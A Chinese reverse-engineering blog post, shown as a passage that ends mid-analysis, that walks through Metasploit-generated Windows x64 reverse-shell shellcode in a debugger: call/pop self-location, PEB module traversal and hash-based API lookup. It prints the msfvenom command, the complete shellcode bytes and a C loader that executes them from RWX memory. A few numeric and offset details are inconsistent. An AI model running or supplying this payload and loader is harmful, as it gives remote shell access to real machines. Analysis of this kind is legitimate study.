【逆向学习】深入分析msf生成windows X64下的shellcode实现

零、前言

本来是臭打二进制的,刚刚学习完liunx的shellcode https://www.cnblogs.com/resea/p/18881947 想了一下要不学一下windows的,后来正好要取做hvv了,索性分析一下木马,第一次接触windows,写的不好请师傅们多指正

前置天赋点:

  • windows 编程
  • x86 和 x64 汇编
  • 调试器

环境:

  • vs2022

本文第二次更新:

  • 使用x64dgb更加清晰
  • 几乎重构了全文

一、生成木马

使用以下命令生成一个木马

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x64 --platform windows

image

结果:

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x64"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

1.1 方法一:使用vs2020

丢到vs2022里面,写一些代码

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = "把上面的丢过来替换我";

int main() {
    void* exec = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec) {
        std::cerr << "VirtualAlloc failed." << std::endl;
        return -1;
    }

    memcpy(exec, shellcode, sizeof(shellcode));

    std::cout << "Executing shellcode..." << std::endl;
    ((void(*)())exec)();

    return 0;
}

然后点击这里下断点
image

运行
image

打开反编译
image

复制地址
image

在反编译打开
image

这些就是shellcode了

1.2 使用x64dbg(推荐)

打开一个记事本,然后在x64dbg附加到记事本
image

接下来随便找一片内存,填充为NOP
image

在内存窗口打开
image

在内存中粘贴

\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x64\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5

image

二、具体分析

先贴分析前的代码,你的地址肯定和我的不一样,这是PIE,但是汇编内容应该大差不差,可以先跳过。

00007FFD0C4E89F9   | 90                 | nop                                  |
00007FFD0C4E89FA   | FC                 | cld                                  |
00007FFD0C4E89FB   | 48:83E4 F0         | and rsp,FFFFFFFFFFFFFFF0             |
00007FFD0C4E89FF   | E8 C0000000        | call ntdll.7FFD0C4E8AC4              |
00007FFD0C4E8A04   | 41:51              | push r9                              |
00007FFD0C4E8A06   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8A08   | 52                 | push rdx                             |
00007FFD0C4E8A09   | 51                 | push rcx                             | rcx:NtQueryInformationThread+14
00007FFD0C4E8A0A   | 56                 | push rsi                             |
00007FFD0C4E8A0B   | 48:31D2            | xor rdx,rdx                          |
00007FFD0C4E8A0E   | 6548:8B52 60       | mov rdx,qword ptr gs:[rdx+60]        |
00007FFD0C4E8A13   | 48:8B52 18         | mov rdx,qword ptr ds:[rdx+18]        |
00007FFD0C4E8A17   | 48:8B52 20         | mov rdx,qword ptr ds:[rdx+20]        |
00007FFD0C4E8A1B   | 48:8B72 50         | mov rsi,qword ptr ds:[rdx+50]        |
00007FFD0C4E8A1F   | 48:0FB74A 4A       | movzx rcx,word ptr ds:[rdx+4A]       | rcx:NtQueryInformationThread+14
00007FFD0C4E8A24   | 4D:31C9            | xor r9,r9                            |
00007FFD0C4E8A27   | 48:31C0            | xor rax,rax                          |
00007FFD0C4E8A2A   | AC                 | lodsb                                |
00007FFD0C4E8A2B   | 3C 61              | cmp al,61                            | 61:'a'
00007FFD0C4E8A2D   | 7C 02              | jl ntdll.7FFD0C4E8A31                |
00007FFD0C4E8A2F   | 2C 20              | sub al,20                            |
00007FFD0C4E8A31   | 41:C1C9 0D         | ror r9d,D                            |
00007FFD0C4E8A35   | 41:01C1            | add r9d,eax                          |
00007FFD0C4E8A38   | E2 ED              | loop ntdll.7FFD0C4E8A27              |
00007FFD0C4E8A3A   | 52                 | push rdx                             |
00007FFD0C4E8A3B   | 41:51              | push r9                              |
00007FFD0C4E8A3D   | 48:8B52 20         | mov rdx,qword ptr ds:[rdx+20]        |
00007FFD0C4E8A41   | 8B42 3C            | mov eax,dword ptr ds:[rdx+3C]        |
00007FFD0C4E8A44   | 48:01D0            | add rax,rdx                          |
00007FFD0C4E8A47   | 8B80 88000000      | mov eax,dword ptr ds:[rax+88]        |
00007FFD0C4E8A4D   | 48:85C0            | test rax,rax                         |
00007FFD0C4E8A50   | 74 67              | je ntdll.7FFD0C4E8AB9                |
00007FFD0C4E8A52   | 48:01D0            | add rax,rdx                          |
00007FFD0C4E8A55   | 50                 | push rax                             |
00007FFD0C4E8A56   | 8B48 18            | mov ecx,dword ptr ds:[rax+18]        |
00007FFD0C4E8A59   | 44:8B40 20         | mov r8d,dword ptr ds:[rax+20]        |
00007FFD0C4E8A5D   | 49:01D0            | add r8,rdx                           | r8:&"吚x\n€|$@"
00007FFD0C4E8A60   | E3 56              | jrcxz ntdll.7FFD0C4E8AB8             |
00007FFD0C4E8A62   | 48:FFC9            | dec rcx                              | rcx:NtQueryInformationThread+14
00007FFD0C4E8A65   | 41:8B3488          | mov esi,dword ptr ds:[r8+rcx*4]      |
00007FFD0C4E8A69   | 48:01D6            | add rsi,rdx                          |
00007FFD0C4E8A6C   | 4D:31C9            | xor r9,r9                            |
00007FFD0C4E8A6F   | 48:31C0            | xor rax,rax                          |
00007FFD0C4E8A72   | AC                 | lodsb                                |
00007FFD0C4E8A73   | 41:C1C9 0D         | ror r9d,D                            |
00007FFD0C4E8A77   | 41:01C1            | add r9d,eax                          |
00007FFD0C4E8A7A   | 38E0               | cmp al,ah                            |
00007FFD0C4E8A7C   | 75 F1              | jne ntdll.7FFD0C4E8A6F               |
00007FFD0C4E8A7E   | 4C:034C24 08       | add r9,qword ptr ss:[rsp+8]          | [rsp+08]:RtlQueryElevationFlags+1A9
00007FFD0C4E8A83   | 45:39D1            | cmp r9d,r10d                         |
00007FFD0C4E8A86   | 75 D8              | jne ntdll.7FFD0C4E8A60               |
00007FFD0C4E8A88   | 58                 | pop rax                              |
00007FFD0C4E8A89   | 44:8B40 24         | mov r8d,dword ptr ds:[rax+24]        |
00007FFD0C4E8A8D   | 49:01D0            | add r8,rdx                           | r8:&"吚x\n€|$@"
00007FFD0C4E8A90   | 6641:8B0C48        | mov cx,word ptr ds:[r8+rcx*2]        |
00007FFD0C4E8A95   | 44:8B40 1C         | mov r8d,dword ptr ds:[rax+1C]        |
00007FFD0C4E8A99   | 49:01D0            | add r8,rdx                           | r8:&"吚x\n€|$@"
00007FFD0C4E8A9C   | 41:8B0488          | mov eax,dword ptr ds:[r8+rcx*4]      |
00007FFD0C4E8AA0   | 48:01D0            | add rax,rdx                          |
00007FFD0C4E8AA3   | 41:58              | pop r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8AA5   | 41:58              | pop r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8AA7   | 5E                 | pop rsi                              |
00007FFD0C4E8AA8   | 59                 | pop rcx                              | rcx:NtQueryInformationThread+14
00007FFD0C4E8AA9   | 5A                 | pop rdx                              |
00007FFD0C4E8AAA   | 41:58              | pop r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8AAC   | 41:59              | pop r9                               |
00007FFD0C4E8AAE   | 41:5A              | pop r10                              |
00007FFD0C4E8AB0   | 48:83EC 20         | sub rsp,20                           |
00007FFD0C4E8AB4   | 41:52              | push r10                             |
00007FFD0C4E8AB6   | FFE0               | jmp rax                              |
00007FFD0C4E8AB8   | 58                 | pop rax                              |
00007FFD0C4E8AB9   | 41:59              | pop r9                               |
00007FFD0C4E8ABB   | 5A                 | pop rdx                              |
00007FFD0C4E8ABC   | 48:8B12            | mov rdx,qword ptr ds:[rdx]           |
00007FFD0C4E8ABF   | E9 57FFFFFF        | jmp ntdll.7FFD0C4E8A1B               |
00007FFD0C4E8AC4   | 5D                 | pop rbp                              |
00007FFD0C4E8AC5   | 49:BE 7773325F3332 | mov r14,32335F327377                 | r14:"LdrpInitializeProcess"
00007FFD0C4E8ACF   | 41:56              | push r14                             | r14:"LdrpInitializeProcess"
00007FFD0C4E8AD1   | 49:89E6            | mov r14,rsp                          |
00007FFD0C4E8AD4   | 48:81EC A0010000   | sub rsp,1A0                          |
00007FFD0C4E8ADB   | 49:89E5            | mov r13,rsp                          |
00007FFD0C4E8ADE   | 49:BC 0200115CC0A8 | mov r12,6401A8C05C110002             |
00007FFD0C4E8AE8   | 41:54              | push r12                             |
00007FFD0C4E8AEA   | 49:89E4            | mov r12,rsp                          |
00007FFD0C4E8AED   | 4C:89F1            | mov rcx,r14                          | rcx:NtQueryInformationThread+14, r14:"LdrpInitializeProcess"
00007FFD0C4E8AF0   | 41:BA 4C772607     | mov r10d,726774C                     |
00007FFD0C4E8AF6   | FFD5               | call rbp                             |
00007FFD0C4E8AF8   | 4C:89EA            | mov rdx,r13                          |
00007FFD0C4E8AFB   | 68 01010000        | push 101                             |
00007FFD0C4E8B00   | 59                 | pop rcx                              | rcx:NtQueryInformationThread+14
00007FFD0C4E8B01   | 41:BA 29806B00     | mov r10d,6B8029                      |
00007FFD0C4E8B07   | FFD5               | call rbp                             |
00007FFD0C4E8B09   | 50                 | push rax                             |
00007FFD0C4E8B0A   | 50                 | push rax                             |
00007FFD0C4E8B0B   | 4D:31C9            | xor r9,r9                            |
00007FFD0C4E8B0E   | 4D:31C0            | xor r8,r8                            | r8:&"吚x\n€|$@"
00007FFD0C4E8B11   | 48:FFC0            | inc rax                              |
00007FFD0C4E8B14   | 48:89C2            | mov rdx,rax                          |
00007FFD0C4E8B17   | 48:FFC0            | inc rax                              |
00007FFD0C4E8B1A   | 48:89C1            | mov rcx,rax                          | rcx:NtQueryInformationThread+14
00007FFD0C4E8B1D   | 41:BA EA0FDFE0     | mov r10d,E0DF0FEA                    |
00007FFD0C4E8B23   | FFD5               | call rbp                             |
00007FFD0C4E8B25   | 48:89C7            | mov rdi,rax                          |
00007FFD0C4E8B28   | 6A 10              | push 10                              |
00007FFD0C4E8B2A   | 41:58              | pop r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8B2C   | 4C:89E2            | mov rdx,r12                          |
00007FFD0C4E8B2F   | 48:89F9            | mov rcx,rdi                          | rcx:NtQueryInformationThread+14
00007FFD0C4E8B32   | 41:BA 99A57461     | mov r10d,6174A599                    |
00007FFD0C4E8B38   | FFD5               | call rbp                             |
00007FFD0C4E8B3A   | 48:81C4 40020000   | add rsp,240                          |
00007FFD0C4E8B41   | 49:B8 636D64000000 | mov r8,646D63                        | r8:&"吚x\n€|$@"
00007FFD0C4E8B4B   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B4D   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B4F   | 48:89E2            | mov rdx,rsp                          |
00007FFD0C4E8B52   | 57                 | push rdi                             |
00007FFD0C4E8B53   | 57                 | push rdi                             |
00007FFD0C4E8B54   | 57                 | push rdi                             |
00007FFD0C4E8B55   | 4D:31C0            | xor r8,r8                            | r8:&"吚x\n€|$@"
00007FFD0C4E8B58   | 6A 0D              | push D                               |
00007FFD0C4E8B5A   | 59                 | pop rcx                              | rcx:NtQueryInformationThread+14
00007FFD0C4E8B5B   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B5D   | E2 FC              | loop ntdll.7FFD0C4E8B5B              |
00007FFD0C4E8B5F   | 66:C74424 54 0101  | mov word ptr ss:[rsp+54],101         |
00007FFD0C4E8B66   | 48:8D4424 18       | lea rax,qword ptr ss:[rsp+18]        |
00007FFD0C4E8B6B   | C600 68            | mov byte ptr ds:[rax],68             | 68:'h'
00007FFD0C4E8B6E   | 48:89E6            | mov rsi,rsp                          |
00007FFD0C4E8B71   | 56                 | push rsi                             |
00007FFD0C4E8B72   | 50                 | push rax                             |
00007FFD0C4E8B73   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B75   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B77   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B79   | 49:FFC0            | inc r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8B7C   | 41:50              | push r8                              | r8:&"吚x\n€|$@"
00007FFD0C4E8B7E   | 49:FFC8            | dec r8                               | r8:&"吚x\n€|$@"
00007FFD0C4E8B81   | 4D:89C1            | mov r9,r8                            | r8:&"吚x\n€|$@"
00007FFD0C4E8B84   | 4C:89C1            | mov rcx,r8                           | rcx:NtQueryInformationThread+14, r8:&"吚x\n€|$@"
00007FFD0C4E8B87   | 41:BA 79CC3F86     | mov r10d,863FCC79                    |
00007FFD0C4E8B8D   | FFD5               | call rbp                             |
00007FFD0C4E8B8F   | 48:31D2            | xor rdx,rdx                          |
00007FFD0C4E8B92   | 48:FFCA            | dec rdx                              |
00007FFD0C4E8B95   | 8B0E               | mov ecx,dword ptr ds:[rsi]           |
00007FFD0C4E8B97   | 41:BA 08871D60     | mov r10d,601D8708                    |
00007FFD0C4E8B9D   | FFD5               | call rbp                             |
00007FFD0C4E8B9F   | BB F0B5A256        | mov ebx,56A2B5F0                     |
00007FFD0C4E8BA4   | 41:BA A695BD9D     | mov r10d,9DBD95A6                    |
00007FFD0C4E8BAA   | FFD5               | call rbp                             |
00007FFD0C4E8BAC   | 48:83C4 28         | add rsp,28                           |
00007FFD0C4E8BB0   | 3C 06              | cmp al,6                             |
00007FFD0C4E8BB2   | 7C 0A              | jl ntdll.7FFD0C4E8BBE                |
00007FFD0C4E8BB4   | 80FB E0            | cmp bl,E0                            |
00007FFD0C4E8BB7   | 75 05              | jne ntdll.7FFD0C4E8BBE               |
00007FFD0C4E8BB9   | BB 4713726F        | mov ebx,6F721347                     |
00007FFD0C4E8BBE   | 6A 00              | push 0                               |
00007FFD0C4E8BC0   | 59                 | pop rcx                              | rcx:NtQueryInformationThread+14
00007FFD0C4E8BC1   | 41:89DA            | mov r10d,ebx                         |
00007FFD0C4E8BC4   | FFD5               | call rbp                             |

2.1 开始初始化

首先清理执行方向和栈指正,因为shellcode往往会被以奇怪的方式(分段加载,延迟加载,一边加密一边解密之类的)加载到内存中,所以要先准备环境

;------------1 初始化栈和执行方向 ----------------------

; 清除方向标志,确保后续字符串/循环指令(如 lods、stos)按递增方向处理
00007FFD0C4E89FA   | FC                 | cld                                  |
; 对齐栈指针
00007FFD0C4E89FB   | 48:83E4 F0         | and rsp,FFFFFFFFFFFFFFF0             |
;------------2 获得本体地址----------------------------
00007FFD0C4E89FF   | E8 C0000000        | call ntdll.7FFD0C4E8AC4              |

然后call 一下一个地址,这里是反编译错误,shellcoe使用的是位置无关代码,不可能写死000001FCD15400CA

2.1.1 为什么call了一下?

image

观察字节码对应的汇编:
E8 xx xx xx xx是一个固定格式:
E8call的操作码,表示“调用一个函数”
后面4个字节是一个相对于下一条指令(RIP)的有符号 32 位偏移量(rel32)

; 错误
00007FFD0C4E89FF   | E8 C0000000        | call ntdll.7FFD0C4E8AC4              |

发现并不是call了一个绝对地址,而是C0000000(小端序)即0xC0(十进制198),正好是196条指令后的pop rbp,所以应当改正为:call c0h

00007FFD0C4E89FF   | E8 C0000000        | call c0h

2.2 寻找本体地址

call到了这里
image

在开始运行前,我们看看栈:
image

重点看:
image
返回自=00007FFD0C4E8AC4不觉得有点眼熟吗?
image
对的,就是call的下一条指令地址,只要pop即可获取程序本体的地址。

;-------------3. 获取本体地址+保存字符串--------------------------

; “Call/Pop” Trick到此处,将call下一条地址弹入rbp获得程序位置
; 可以由rbp计算shellcode 本身在内存中的基地址,后续用它来做相对寻址
00007FFD0C4E8AC4   | 5D                          | pop rbp                              |

接下来写入"ws2_32"字符串

; 把"ws2_32"按小段序写入r14
push        r14                       ; "ws2_32"压入栈
mov         r14,rsp                   ; 保存栈顶位置到r14(即"ws2_32"位置)

2.2.1 什么是"ws2_32"

ws2_32是Windows系统中的一个动态链接库(DLL文件的名称,完整文件名是:ws2_32.dll

它的作用是?
ws2_32.dllWindows提供的Windows Sockets 2 API的实现库,简称Winsock 2。它提供了用于网络通信的一系列函数,说白了用来打开远程shell


接下来如法炮制,写入6401A8C05C110002h到栈上并且获取地址

; 提高栈
00007FFD0C4E8AD4   | 48:81EC A0010000            | sub rsp,1A0                          |
; 写入栈
00007FFD0C4E8ADB   | 49:89E5                     | mov r13,rsp                          |
00007FFD0C4E8ADE   | 49:BC 0200115CC0A80164      | mov r12,6401A8C05C110002             |
00007FFD0C4E8AE8   | 41:54                       | push r12                             |
; 拿地址
00007FFD0C4E8AEA   | 49:89E4                     | mov r12,rsp                          |

2.2.2 为什么是6401A8C05C110002h

字段 解释
C0 A8 01 64 IP 地址 → 192.168.1.100
5C 11 端口号(小端)→ 0x115C = 4444
02 00 协议族 = AF_INET(0x0002)

是传递给 sockaddr_in 结构体的内容,用于 connect() 或 bind() 调用:

struct sockaddr_in {
    short sin_family;     // 0x0002 → AF_INET
    unsigned short sin_port;  // 0x115C → port 4444 (小端)
    struct in_addr sin_addr;  // 192.168.1.100
};

然后进行收尾

00007FFD0C4E8AED   | 4C:89F1                     | mov rcx,r14                          | rcx:"ws2_32", r14:"ws2_32"
00007FFD0C4E8AF0   | 41:BA 4C772607              | mov r10d,726774C                     |
00007FFD0C4E8AF6   | FFD5                        | call rbp                             | rbp:SHA256Transform+C4

2.2.3 什么是726774C?

这是一个哈希值,用于定位函数名,进行动态 API 解析

2.2.4 小总结

call rbp之前,总之干了四件事:

  1. 把栈底放入rbp (相当于手动构建栈)
  2. ws2_32压入栈,地址保存在r14rcx
  3. ip端口协议压入栈,地址保存在r12
  4. 哈希值0x726774C压入栈,地址保存在r10d

现在栈上有什么呢?
img
寄存器呢?
img

现在call rbp,就是回到了call的下一条指令,不但回到了原来执行地址,还完成了本体地址获取。

2.3 计算WinAPI地址

;------------4 计算lib地址----------------------------

; 被call回来
00007FFD0C4E8A04   | 41:51                       | push r9                              |
00007FFD0C4E8A06   | 41:50                       | push r8                              | r8:"ws2_32"
00007FFD0C4E8A08   | 52                          | push rdx                             |
00007FFD0C4E8A09   | 51                          | push rcx                             | rcx:"ws2_32"
00007FFD0C4E8A0A   | 56                          | push rsi                             |

压栈一堆寄存器(因为接下来要使用这些寄存器),然后清空了rdx

接下来就是通过GS 段寄存器找到PEB(进程环境块), 再遍历InMemoryOrderModuleList

00007FFD0C4E8A0B   | 48:31D2                     | xor rdx,rdx                          |
00007FFD0C4E8A0E   | 6548:8B52 60                | mov rdx,qword ptr gs:[rdx+60]        |
00007FFD0C4E8A13   | 48:8B52 18                  | mov rdx,qword ptr ds:[rdx+18]        |
00007FFD0C4E8A17   | 48:8B52 20                  | mov rdx,qword ptr ds:[rdx+20]        |

; 7.3 无导出表或无导出函数就会跳转到这继续查找
00007FFD0C4E8A1B   | 48:8B72 50                  | mov rsi,qword ptr ds:[rdx+50]        |
00007FFD0C4E8A1F   | 48:0FB74A 4A                | movzx rcx,word ptr ds:[rdx+4A]       | rcx:"ws2_32"

2.3.1 利用gs获取TEB并进一步获取PEB

基础芝士:

  • TEB(Thread Environment Block)是每个线程的线程信息结构体,记录了线程相关的信息

    • 堆栈、异常处理器、TLS、所在进程的PEB等。
    • 在 64 位 Windows 中TEB的地址存储在GS段寄存器中。也就是说,gs:[0]就是当前线程的 TEB 地址。
  • PEB(Process Environment Block)是当前进程的核心信息结构体,包含:

    • 当前进程加载的模块列表(Ldr
    • 是否以调试状态运行
    • ImageBase
    • 还有很多loader使用的信息(比如ntdll.dllkernel32.dll的地址等)
00007FFD0C4E8A0E   | 6548:8B52 60 | mov rdx, qword ptr gs:[rdx+60]

gs:[rdx + 0x60] 表示:从 GS 寄存器指向的 TEB 结构体中偏移 0x60 处读取 8 字节内容,这里rdx= 0(之前执行了xor rdx,rdx),因此实际是gs:[0x60]

2.3.1.1 gs:[0x60]是什么?

它是TEB的成员之一,指向当前进程的PEB,即:

TEB {
    ...
    PVOID ProcessEnvironmentBlock; // Offset 0x60
}

2.3.2 模块查找定位

  1. 定位PEB->Ldr(模块加载器的数据结构)
00007FFD0C4E8A13   | 48:8B52 18 | mov rdx, qword ptr [rdx+18]

PEB + 0x18 → PEB_LDR_DATA(模块加载器的数据结构)
结果:rdx = PEB->Ldr

  1. 定位第一个模块
00007FFD0C4E8A17   | 48:8B52 20 | mov rdx, qword ptr [rdx+20]

PEB_LDR_DATA + 0x20 → InMemoryOrderModuleList 的第一个节点(即第一个加载模块)
结果:rdx = 第一个模块(通常是 ntdll.dll 或 kernel32.dll)

  1. 获取模块名
00007FFD0C4E8A1B   | 48:8B72 50 | mov rsi, qword ptr [rdx+50]

LDR_DATA_TABLE_ENTRY + 0x50 是该模块的 BaseDllName.Buffer 字符串(即模块名),类型是 UNICODE_STRING.Buffer
结果:rsi = 当前模块的名称字符串地址(例如 "ntdll.dll")

  1. 获取长度
00007FFD0C4E8A1F   | 48:0FB74A 4A | movzx rcx, word ptr [rdx+4A]

LDR_DATA_TABLE_ENTRY + 0x4A是模块名长度(UNICODE_STRING.Length
结果:rcx = 模块名的长度(字节单位)

GS:[0x60] → TEB.ProcessEnvironmentBlock      (每个线程的线程信息结构体)
                ↓
               PEB                           (当前进程的核心信息结构体)
                ↓
             PEB.Ldr                         (模块加载器的数据结构)
                ↓
     PEB_LDR_DATA.InMemoryOrderModuleList    (加载模块列表)
                ↓
     每个模块(LDR_DATA_TABLE_ENTRY)中:
        +0x30 HMODULE BaseAddress            (模块基本地址)
        +0x4A UNICODE_STRING Length          (模块名长度)
        +0x50 UNICODE_STRING BaseDllName     (模块名)

2.3.2.1 对应结构体

这里给出对应结构体,方便参考

  1. TEB(Thread Environment Block)
typedef struct _TEB {
    NT_TIB NtTib;                           // 0x000 - TIB结构体,含堆栈信息等
    PVOID EnvironmentPointer;              // 0x038
    CLIENT_ID ClientId;                    // 0x040
    PVOID ActiveRpcHandle;                 // 0x050
    PVOID ThreadLocalStoragePointer;       // 0x058
    PVOID ProcessEnvironmentBlock;         // 0x060 👈 我们最关注的字段
    // 后面字段略...
} TEB, *PTEB;

  1. PEB(Process Environment Block)
typedef struct _PEB {
    BYTE Reserved1[2];                     // 0x000
    BYTE BeingDebugged;                   // 0x002 - 是否在调试中
    BYTE Reserved2[1];                    // 0x003
    PVOID Reserved3[2];                   // 0x004
    PPEB_LDR_DATA Ldr;                    // 0x010 👈 指向模块加载信息
    // 后面字段略...
} PEB, *PPEB;
  1. PEB_LDR_DATA(模块加载信息)
typedef struct _PEB_LDR_DATA {
    ULONG Length;                         // 0x000
    BOOLEAN Initialized;                  // 0x004
    PVOID SsHandle;                       // 0x008
    LIST_ENTRY InLoadOrderModuleList;     // 0x010 - 按加载顺序排列模块
    LIST_ENTRY InMemoryOrderModuleList;   // 0x020 👈 常用于遍历模块
    LIST_ENTRY InInitializationOrderModuleList; // 0x030
    // 后面字段略...
} PEB_LDR_DATA, *PPEB_LDR_DATA;
  1. LDR_DATA_TABLE_ENTRY(每个模块的信息)
typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;          // 0x000
    LIST_ENTRY InMemoryOrderLinks;        // 0x010
    LIST_ENTRY InInitializationOrderLinks;// 0x020
    PVOID DllBase;                        // 0x030 👈 模块的基地址(HMODULE)
    PVOID EntryPoint;                     // 0x038
    ULONG SizeOfImage;                    // 0x040
    UNICODE_STRING FullDllName;           // 0x048 - 含完整路径
    UNICODE_STRING BaseDllName;           // 0x058 👈 模块文件名(如 ws2_32.dll)
    // 后面字段略...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
  1. UNICODE_STRING
typedef struct _UNICODE_STRING {
    USHORT Length;                        // 字符串实际长度(单位:字节)
    USHORT MaximumLength;                // 最大长度(单位:字节)
    PWSTR  Buffer;                        // 指向字符串的指针(宽字符)
} UNICODE_STRING, *PUNICODE_STRING;

